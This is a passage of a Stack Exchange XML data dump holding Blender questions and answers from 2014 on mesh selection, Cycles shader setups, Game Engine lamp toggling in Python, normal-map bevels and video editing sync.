(&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; Select Boundary Loop&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNJlu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-30T19:31:30.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostTypeId="1" AcceptedAnswerId="10838" CreationDate="2014-05-30T19:33:21.153" Score="7" ViewCount="1281" Body="&lt;p&gt;Is it possible in a Cycles material node setup to get when a light ray is exiting an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case: I'm using a Fresnel input to mix transparent and diffuse shaders. I want to see into the object, but never out its back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/W9DoV9Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="29301" LastEditDate="2018-10-23T02:25:38.043" LastActivityDate="2018-10-23T02:25:38.043" Title="Cycles light ray exiting the back of an object" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10837" PostTypeId="2" ParentId="10828" CreationDate="2014-05-30T19:39:28.873" Score="5" Body="&lt;p&gt;One way to do this is by beveling, then extruding:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4DnVU.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I did in the gif:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter face select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&amp;gt; Face&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a face on the surface that I want to select, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to select the entire surface.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; Select Boundary loop&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNJlu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bevel (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude and cancel transform (&lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;Esc&lt;/kbd&gt;) See &lt;a href=&quot;https://blender.stackexchange.com/q/10655/599&quot;&gt;this question&lt;/a&gt; for details on what pressing &lt;kbd&gt;Esc&lt;/kbd&gt; does.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale along the normals.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-30T20:49:27.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10838" PostTypeId="2" ParentId="10836" CreationDate="2014-05-30T19:44:08.850" Score="7" Body="&lt;p&gt;You can use the &lt;em&gt;Backfacing&lt;/em&gt; output of the &lt;em&gt;Geometry node&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uBZRG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6uLfV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6uLfV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The way this works:&lt;/p&gt;&#xA;&lt;p&gt;The outer material is mixed with a transparent shader based on how much the surface is facing the camera. This is then mixed with the &lt;em&gt;Backfacing&lt;/em&gt; output of the geometry node. This output is 1 or 0 based on the normal of any face the ray encounters.&lt;br /&gt;&#xA;In this case, if goes ray hits the back of a face, it will bounce off of the &amp;quot;inner material&amp;quot; diffuse shader.&lt;/p&gt;&#xA;&lt;p&gt;You might think we are done at this point, but the shader won't let light inside; rays which go inside the Suzanne from the camera can't get back out to hit light sources, as they are surrounded by diffuse back-faces.&lt;/p&gt;&#xA;&lt;p&gt;To get around this, we use a final mix shader to make rays directly from the camera (camera rays) use the backface diffuse + fresnel frontface, however rays not directly from the camera will use transparent for the backfaces (allowing rays to exit the Suzanne after hitting a diffuse backface and becoming a diffuse ray). I plugged the inner material diffuse shader into the other slot just because I liked the indirect lighting it cast, but you can do other things too. Here are some examples:&lt;/p&gt;&#xA;&lt;h2&gt;No shadow&lt;/h2&gt;&#xA;&lt;p&gt;Without the mix shader, using just transparency, the Suzanne will not exist for any kind of ray besides camera ray, so this will remove the shadow and indirect lighting:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRx80.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/omYy0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Fresnel shadow&lt;/h2&gt;&#xA;&lt;p&gt;This uses only the fresnel shader on front faces for other ray types and ignores backfaces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wrL5A.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkFxL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/537/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=537&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-10-01T23:32:41.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostTypeId="1" AcceptedAnswerId="10850" CreationDate="2014-05-30T20:53:40.377" Score="5" ViewCount="1118" Body="&lt;p&gt;I have this Sun lamp in my scene. I need to toggle the visibility of the lamp with the press of a button. I tried using the Visibility actuator, but it does not remove my lamp because visibility in the Physics panel does not apply to lamp values. I thought of a few ways of toggling the visibility of it, but could not get any of them working:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Move lamp to another layer on the same scene&lt;/li&gt;&#xA;&lt;li&gt;Delete lamp and re-spawn it (I tried &lt;code&gt;endObject()&lt;/code&gt; but it would never remove the object)&lt;/li&gt;&#xA;&lt;li&gt;Change the lamp's brightness value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Remember, this is going to be on a button, so it has to be re-spawnable. If I could get the base code, I can make the toggleable &lt;code&gt;if&lt;/code&gt; block myself. Also, this is a Python question. Logic blocks take more time to setup than just a simple script. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-05-31T13:26:45.237" Title="Toggle Lamp Visibility Blender Game Engine and Python" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostTypeId="2" ParentId="10831" CreationDate="2014-05-30T22:26:24.500" Score="8" Body="&lt;p&gt;As gandalf3 suggested a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Shrinkwrap constrained&lt;/em&gt;&lt;/a&gt; works, but not alone. Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Vertex_Parent&quot; rel=&quot;noreferrer&quot;&gt;Vertex Parent&lt;/a&gt; on a triangle and shrinkwrap the triangle to the ocean does the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5v5RE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J2XVT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second requirement to follow a curve a &lt;em&gt;Curve modifier&lt;/em&gt; must be added before the Shrinkwrap in the modifier stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZW1C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex parent trick was described &lt;a href=&quot;http://gryllus.net/Blender/PDFTutorials/13A_NURBS_SailboatOnOcean/NURBS_Sailboat.pdf&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; but this tutorial uses softbodies and is more complicated to setup.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-31T08:48:18.177" LastActivityDate="2014-05-31T08:48:18.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostTypeId="1" AcceptedAnswerId="10846" CreationDate="2014-05-30T22:43:44.543" Score="1" ViewCount="60" Body="&lt;p&gt;I have everything in my scene working fine , but when I render my image is shows up like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camera settings on the right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QXBr4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXBr4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-05-31T06:13:22.030" LastActivityDate="2014-05-31T06:13:22.030" Title="Noisy output instead of image?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-31T07:48:58.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostTypeId="1" AcceptedAnswerId="14607" CreationDate="2014-05-30T23:48:50.747" Score="1" ViewCount="3998" Body="&lt;p&gt;I have uploaded a blend file with a &quot;Wind Blowing Hair Test&quot; and it is my hope that perhaps someone can offer some assistance. I utilized a UV Sphere and applied a particle system along with a pair of &quot;Force Fields - Wind&quot; and the hair falls to the bottom of the sphere leaving the top bald while the wind force retains little movement. Any ideas would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hairtest.blend&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29535&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/29535&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="599" LastEditDate="2014-08-01T07:29:42.467" LastActivityDate="2014-08-01T07:29:42.467" Title="Simulated hair isn't affected by force fields?" Tags="&lt;particles&gt;&lt;physics&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10844" PostTypeId="2" ParentId="3727" CreationDate="2014-05-30T23:56:23.987" Score="24" Body="&lt;p&gt;A completed render doesn't hog the memory on your computer anymore. To get back to the 3D View from the Image Editor window, either press &lt;kbd&gt;Esc&lt;/kbd&gt;, &lt;kbd&gt;F11&lt;/kbd&gt;, or just change the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9cq6.png&quot; alt=&quot;Go to 3D View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm surprised nobody else answered it using the most simple way of changing viewport windows. :P&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-05-30T23:56:23.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostTypeId="1" CreationDate="2014-05-31T01:40:38.370" Score="1" ViewCount="352" Body="&lt;p&gt;How do I make gunfire animations with blender? I never animated anything in blender except to build models. Here is a picture of my model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CARIz.jpg&quot; alt=&quot;A10 - Bomber. Going to animate the guns. Made in Blender 2.70a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can try to make gunfire animations? &lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2014-05-31T01:40:38.370" Title="How To Make Gunfire Animations?" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-31T07:47:51.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="10846" PostTypeId="2" ParentId="10841" CreationDate="2014-05-31T06:04:02.383" Score="2" Body="&lt;p&gt;There is a hidden cube (&lt;code&gt;Arm.Hand.Target&lt;/code&gt;) and a hidden sphere (&lt;code&gt;Arm.Elbow.Target&lt;/code&gt;) in your scene, which are blocking the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered shading in BI doesn't work quite the same as in cycles, the render visibility setting (camera icon in the outliner) is used in the viewport when in rendered view.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-31T06:04:02.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostTypeId="2" ParentId="10823" CreationDate="2014-05-31T12:58:55.367" Score="1" Body="&lt;p&gt;There is an add-on to import EDLs (Edit Decision List), it is a trunk add-on that comes with Blender. As long as your list conforms to the correct source and timecode i don't see why this couldn't work.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-05-31T12:58:55.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10848" PostTypeId="2" ParentId="8472" CreationDate="2014-05-31T13:03:07.887" Score="0" Body="&lt;p&gt;Also you could try &quot;selecting by&quot; - strip type and creating a meta strip of the audio strips. Then press H key to hide them (disable) to turn back on Alt H. This would allow you to choose the parts you want to hear/not hear.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-05-31T13:03:07.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10850" PostTypeId="2" ParentId="10839" CreationDate="2014-05-31T13:26:45.237" Score="5" Body="&lt;p&gt;In python you can access the lamps energy attribute like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Lamp&quot;].data.energy = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the game engine you can toggle the energy by this script (assumes energy value set to 1.0):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;co = bge.logic.getCurrentController()&#xA;lamp = co.owner&#xA;toggle = co.sensors[&quot;space&quot;] # space is the name of keyboard sensor&#xA;&#xA;if toggle.positive:&#xA;    lamp.energy = 1 - lamp.energy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/084ey.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-31T13:26:45.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10851" PostTypeId="1" CreationDate="2014-05-31T13:43:37.263" Score="5" ViewCount="1000" Body="&lt;p&gt;How can I cut a semi-circle out of a curved surface, such as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/VLsndLD.jpg&quot; alt=&quot;this object on a rifle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the picture, the circled area is one I'm having trouble with. I can't seem to find a way to cut a hole into a curved surface without messing up the topology. Could someone help me with this? &lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="599" LastEditDate="2014-05-31T19:03:38.113" LastActivityDate="2014-05-31T19:20:01.573" Title="How do I cut a semicircle into a curved surface?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10852" PostTypeId="1" CreationDate="2014-05-31T13:43:56.660" Score="1" ViewCount="128" Body="&lt;p&gt;I have created an animation of a cardan shaft: &lt;a href=&quot;http://youtu.be/_SsN2n68sJE&quot; rel=&quot;nofollow&quot;&gt;youtube video&lt;/a&gt;. I'm using &lt;em&gt;transformation constraints&lt;/em&gt; to copy the rotation of the base joint and obviously the others are sliding into each other. I would like to modify the constraints insofar that variations in the rotation-speeds can be simulated. You can download the example from here: &lt;a href=&quot;https://www.dropbox.com/s/dnpq7174evalziw/board.blend.gz&quot; rel=&quot;nofollow&quot;&gt;Dropbox&lt;/a&gt;     &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;A&lt;/strong&gt; I'm using transformation-constraints to simulate a cardan joint. Since transformation constraints can only solve simple linear equations with one variable, it is impossible to correctly calculate the speed inequalities between the joints which would occur in reality. As a result the joints  overlap during the rotation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;B&lt;/strong&gt; I was looking for a possibility to add functions to emulate this &lt;em&gt;cardan-error&lt;/em&gt;. I learned recently that it is possible to combine constraints with &lt;em&gt;drivers&lt;/em&gt;. Blender-drivers call python method. In this methods trigonometric functions can be called and it is possible to use more than one input parameter. (It is necessary to calculate the bend between two joints.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would have accepted &lt;strong&gt;B&lt;/strong&gt; as solution for my problem.&lt;/p&gt;&#xA;" OwnerUserId="3686" LastEditorUserId="599" LastEditDate="2014-06-01T19:09:17.200" LastActivityDate="2014-06-01T19:09:17.200" Title="Adding a cardan-error to an animation with constraints" Tags="&lt;animation&gt;&lt;constraints&gt;&lt;drivers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-06-01T13:26:24.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="10853" PostTypeId="1" CreationDate="2014-05-31T14:33:36.047" Score="1" ViewCount="614" Body="&lt;p&gt;I have an Nvidia 760 GTX and when I try to render my image with GPU compute and F12 it does not produce any output at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch to CPU render I get the following image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8iL6t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is not at all what I have created&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set the viewport to render it looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqE20.jpg&quot; alt=&quot;http://i.imgur.com/4g0JTa4.jpg&quot;&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29540&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastActivityDate="2014-05-31T14:39:01.743" Title="Problems with rendering grass that is created by the strand renderer in cycles" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10854" PostTypeId="2" ParentId="10853" CreationDate="2014-05-31T14:39:01.743" Score="1" Body="&lt;p&gt;I fixed it by myself. The problem was a setting in the 'Children' tab. It seems that the renderer in the viewport takes the number from 'Display' and  not from 'Render'.&lt;/p&gt;&#xA;" OwnerUserId="1672" LastActivityDate="2014-05-31T14:39:01.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10855" PostTypeId="1" CreationDate="2014-05-31T15:15:53.060" Score="8" ViewCount="9981" Body="&lt;p&gt;I have captured some 1080p video game footage with Open Broadcaster. Now I would like to edit it using the Blender video editor. First of all, if I understand this correctly, I have to set the frame rate with which I want to render the video but I am not sure what to set it to, after all games don't run at constant frame rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly I have tried dragging and dropping the clip I want to edit into the video sequence editor. Once I do that the video clip and the audio track that belongs to it show up, however they don't seem to be synced up and the video clip is far too short. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this information is of any use: the original video is 04:12 minutes long. The audio track displays as being of exactly that length in minutes and 30412 in frames. The video clip is displayed as being two seconds long with 254 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this has something to do with the end frame that can be specified but changing this to something higher has not solved the problem. Any suggestions are welcome!&lt;/p&gt;&#xA;" OwnerUserId="3689" LastEditorUserId="599" LastEditDate="2014-06-01T01:57:44.140" LastActivityDate="2016-08-25T20:37:11.443" Title="Video and audio strips of imported file out of sync?" Tags="&lt;editing&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10856" PostTypeId="2" ParentId="10851" CreationDate="2014-05-31T19:11:09.343" Score="5" Body="&lt;p&gt;&lt;em&gt;Cutting&lt;/em&gt; it without messing up the topology (ngons, tris, unwanted distortions, etc.) will be hard.&lt;/p&gt;&#xA;&lt;p&gt;However, for your specific case I think you might have better luck building the shape by extruding/filling.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate a cylinder:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCLoE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select some of the edges along the top/bottom of the cylinder and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt;Bridge edge loops&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zGjC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat for the other side(s), then add a solidify and a subserf modifier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iuYs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-31T19:20:01.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10857" PostTypeId="2" ParentId="10787" CreationDate="2014-05-31T20:27:17.857" Score="7" Body="&lt;p&gt;I recommend using a Normal Map to simulate the effect of a bevel. It doesn't add any mesh either (yes, even modifiers add mesh, except they are not directly applied to the object in Edit Mode). I wrote a tutorial on my blog for it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://renderedsmoothie.wordpress.com/2014/05/31/fake-bevels-using-normal-maps-blender-cycles/&quot; rel=&quot;noreferrer&quot;&gt;http://renderedsmoothie.wordpress.com/2014/05/31/fake-bevels-using-normal-maps-blender-cycles/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(But here's the full post in a quote ;) )&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;First, we have a basic Cube. We need to UV-unwrap it. Press the U key, and click Smart UV Project to quickly unwrap this model. Next, duplicate your model and go to Edit Mode. Bevel that model by clicking Ctrl+B. (You can use the scroll wheel to adjust the quality of the bevel, and move your mouse to adjust the size of the bevel).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P0djP.png&quot; alt=&quot;Beveled Cube&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;When you go back to Object Mode, you will notice that your cubes are overlapping. That’s great! Except that the beveled cube needs to be slightly larger.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLDkM.png&quot; alt=&quot;Cubes are broken&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scale the beveled cube up just a small but so that you can not see the cube underneath.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nw9y2.png&quot; alt=&quot;Corrected Scale&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, select your non-beveled cube and go to Edit Mode. Visit the UV/Image Editor window and create a new image. It can be whatever size you want. After you have your image created, go back to Object Mode on the cube, and follow these directions very carefully:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the Beveled Cube &lt;strong&gt;FIRST&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;(Go into Wireframe view mode for this one) Select the non-beveled cube &lt;strong&gt;SECOND&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Go into &lt;em&gt;Edit Mode&lt;/em&gt; (Should be on the non-beveled cube)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You need to make sure you are in Blender Render Engine for this step. This is where we bake the Normals. In the Properties Window, find the Bake header. Change the Bake Type to Normals, set the Normal Type to Tangent, and check Selected to Active. Make sure you have your New Image in the Image Editor Window before baking. Then click Bake.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGvQt.png&quot; alt=&quot;Bake Settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Shortly, you will see a Normal Map pop up on the Image Editor screen! Go ahead and Save the image so you don’t loose it from Blender’s Cache. Move the Beveled cube to another layer (by pressing the M-Key in the 3D Viewport) or Delete it. Next, switch back to Cycles Render. Cycles uses a special Node for Normal Maps. It’s called the Normal Map Node. Anyway, add that node to your node setup and plug it into the Normal plug of any shader. In the photo below, I have made a basic glossy and diffuse material setup using my “Bump-map-Normal-map”.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/acSC1.png&quot; alt=&quot;Final Result&quot; /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-01T18:54:48.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10858" PostTypeId="2" ParentId="10855" CreationDate="2014-05-31T20:56:54.763" Score="6" Body="&lt;p&gt;You need to find out what framerate your footage is at. A video is saved at a constant framerate no matter how fast the game runs. Find out what that is, and in the Properties Window on the Render Tab (the settings on the right which is usually hidden on the Video Editor interface), set the framerate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJ03U.png&quot; alt=&quot;Change frame rate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the Video Editor, drag your video in and find the end frame. Set the end frame to the ending frame of your video. (See this topic for help: &lt;a href=&quot;https://blender.stackexchange.com/questions/8913/how-can-i-make-my-animation-play-for-longer-than-250-frames&quot;&gt;How can I make my animation play for longer than 250 Frames?&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, set the player to A/V Sync (the button is right under the Timeline) so Blender will sync the audio and the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5GKv.png&quot; alt=&quot;A/V Sync&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-05-31T20:56:54.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
